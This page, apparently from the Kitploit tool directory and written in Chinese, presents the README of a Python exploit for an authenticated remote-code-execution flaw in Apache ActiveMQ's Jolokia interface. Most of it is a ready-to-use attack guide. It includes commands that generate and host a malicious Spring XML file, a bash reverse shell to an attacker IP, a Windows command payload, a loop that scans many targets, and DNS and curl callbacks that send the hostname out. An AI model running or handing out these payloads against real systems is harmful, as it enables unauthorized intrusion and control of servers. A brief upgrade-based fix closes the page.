Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42588 — 基于Python的CVE-2026-42588 RCE利用,针对Apache ActiveMQ Jolokia。具有仅检查模式、恶意XML生成,并支持反向shell、OOB和基于文件的验证。 | Kitploit
工具/GitHubGitHub/hnytgl/cve-2026-42588
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

基于Python的CVE-2026-42588 RCE利用,针对Apache ActiveMQ Jolokia。具有仅检查模式、恶意XML生成,并支持反向shell、OOB和基于文件的验证。

查看仓库
373个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42588 - Apache ActiveMQ Jolokia 远程代码执行漏洞利用

严重等级: 🔴 高危 (CVSS 4.0: 8.1)
漏洞类型: CWE-94 — 代码注入
影响版本: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
利用前提: 需有 Web Console 认证凭据(默认 admin:admin)


📋 目录

  • 漏洞概述
  • 漏洞原理
  • 影响版本
  • 利用条件
  • 文件说明
  • 快速开始
  • 详细使用方法
  • 利用链全景图
  • 验证漏洞利用成功
  • 修复方案
  • 临时缓解措施
  • FAQ
  • 免责声明
  • 参考链接

漏洞概述

CVE-2026-42588 是一个存在于 Apache ActiveMQ 中的认证后远程代码执行(RCE)漏洞。

攻击者在拥有 Web Console 认证凭据的前提下,通过 Jolokia JMX-HTTP 桥接接口 (/api/jolokia/) 调用 BrokerService.addNetworkConnector(String) 方法,传入精心构造的 masterslave:// discovery URI,利用 xbean: 协议加载远程 Spring XML 配置文件,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令。


漏洞原理

利用链

/api/jolokia/ (Jolokia JMX-HTTP Bridge)
       │
       ▼
BrokerService.addNetworkConnector(String)
       │
       ▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
       │
       ▼
XBeanBrokerFactory → ResourceXmlApplicationContext
       │
       ▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
       │
       ▼
🚨 远程代码执行 (RCE)

关键技术点

环节说明
Jolokia 暴露面ActiveMQ Web Console 默认暴露 /api/jolokia/,允许对 org.apache.activemq:* MBean 执行 exec 操作
危险方法BrokerService.addNetworkConnector(String) 接收 discovery URI 并解析
URI 触发链masterslave:// 协议的 brokerConfig 参数可控,配合 xbean: scheme 触发 Spring 上下文加载
RCE 触发点XBeanBrokerFactory 使用 ResourceXmlApplicationContext 加载远程 XML,Spring 在配置验证之前就会实例化所有单例 Bean

影响版本

版本范围状态
Apache ActiveMQ < 5.19.7❌ 受影响
6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ 受影响
Apache ActiveMQ ≥ 5.19.7✅ 已修复
Apache ActiveMQ ≥ 6.2.6✅ 已修复

利用条件

  1. ✅ 网络可达 — /api/jolokia/ 接口可被攻击者访问(默认端口 8161)
  2. ✅ 有效凭据 — 拥有 ActiveMQ Web Console 的认证凭据(默认 admin:admin)
  3. ✅ 攻击者 HTTP 服务 — 需要一个可被目标访问的 HTTP 服务器托管恶意 XML 文件

文件说明

.
├── CVE-2026-42588_EXP.py   # 漏洞利用脚本(核心)
├── malicious.xml            # 恶意 Spring XML 模板
├── requirements.txt         # Python 依赖
└── README.md                # 本文件
文件用途
CVE-2026-42588_EXP.pyPython 漏洞利用脚本,支持检测模式 (--check-only) 和 XML 生成模式 (--gen-xml)
malicious.xml恶意 Spring XML 配置模板,包含 Runtime.exec() 和 ProcessBuilder 两种利用方式

快速开始

1. 安装依赖

pip install -r requirements.txt

2. 生成恶意 XML 文件

python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml

3. 托管恶意 XML 文件

在攻击机上启动 HTTP 服务:

python3 -m http.server 8080

4. 执行漏洞利用

# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
    -u http://192.168.1.100:8161 \
    -x http://your-attacker-ip:8080/malicious.xml

# 使用自定义凭据
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -U myuser \
    -P mypass \
    -x http://your-attacker-ip:8080/malicious.xml

5. (可选)仅检测漏洞

python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only

详细使用方法

命令行参数

usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                             [-x XML_URL] [--check-only] [--gen-xml]
                             [-c COMMAND] [--timeout TIMEOUT] [--no-verify]

选项:
  -u, --url         目标 ActiveMQ URL (如 http://192.168.1.100:8161)
  -U, --username    Web Console 用户名 (默认: admin)
  -P, --password    Web Console 密码 (默认: admin)
  -x, --xml-url     恶意 Spring XML 文件的远程 URL
  --check-only      仅检测 Jolokia 接口是否可访问
  --gen-xml         生成恶意 XML 文件并输出到 stdout
  -c, --command     要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
  --timeout         HTTP 请求超时秒数 (默认: 30)
  --no-verify       禁用 SSL 证书验证

场景一:反弹 Shell

1. 在攻击机上生成恶意 XML:

python CVE-2026-42588_EXP.py --gen-xml \
    -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    > reverse_shell.xml

2. 托管 XML 并启动监听:

# 终端1:HTTP 服务
python3 -m http.server 8080

# 终端2:nc 监听
nc -lvnp 4444

3. 触发漏洞:

python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -x http://10.0.0.1:8080/reverse_shell.xml

场景二:CMD 命令执行(Windows 目标)

1. 生成 Windows 版恶意 XML:

修改 malicious.xml 中 ProcessBuilder 的命令为:

<bean class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>whoami &gt; C:\windows\temp\pwned.txt</value>
        </list>
    </constructor-arg>
</bean>

2. 托管并执行:

python CVE-2026-42588_EXP.py \
    -u http://windows-target:8161 \
    -x http://attacker:8080/malicious_win.xml

场景三:仅漏洞检测

# 批量检测
for ip in $(cat targets.txt); do
    echo "=== Testing $ip ==="
    python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done

利用链全景图

┌─────────────────────────────────────────────────────────────────────┐
│                        CVE-2026-42588 攻击链                          │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ① 攻击者                             ⑤ ActiveMQ Broker (JVM)        │
│  ┌──────────┐                         ┌──────────────────────────┐   │
│  │ EXP脚本  │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
│  │          │    Jolokia exec()        │                          │   │
│  │          │    Basic Auth            │ BrokerService.           │   │
│  │          │                          │ addNetworkConnector(     │   │
│  │          │                          │   "masterslave://?       │   │
│  │          │                          │    brokerConfig=         │   │
│  │          │                          │    xbean:http://...      │   │
│  │          │                          │    /malicious.xml"       │   │
│  └──────────┘                          │ )                        │   │
│       │                                └────────┬─────────────────┘   │
│       │                                         │                     │
│       │          ③ HTTP GET                     ▼                     │
│       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
│       └─▶│ 攻击者 HTTP 服务器    │  │ ResourceXmlApplication     │    │
│          │ (python http.server) │  │ Context 加载远程 XML        │    │
│          │                      │  │                            │    │
│          │ malicious.xml        │  │ Spring 预实例化 Bean ──▶    │    │
│          └──────────────────────┘  │ Runtime.exec() /            │    │
│                                    │ ProcessBuilder.start()      │    │
│                                    │          │                  │    │
│                                    │          ▼                  │    │
│                                    │    🚨 RCE 成功 🚨           │    │
│                                    └────────────────────────────┘    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

验证漏洞利用成功

由于命令执行发生在 Spring XML 解析阶段,是异步的,HTTP 响应中可能不会直接体现执行结果。建议通过以下方式验证:

方法 1:反弹 Shell(最可靠)

# 攻击机
nc -lvnp 4444

方法 2:DNS 外带(OOB)

# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com

方法 3:文件落地检测

# 目标上检查标志文件
ls -la /tmp/activemq_pwned

方法 4:HTTP 回连

# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888

修复方案

✅ 推荐方案:升级版本

版本线升级至
5.x 系列5.19.7 或更高
6.x 系列6.2.6 或更高

下载地址: https://activemq.apache.org/download

下载工具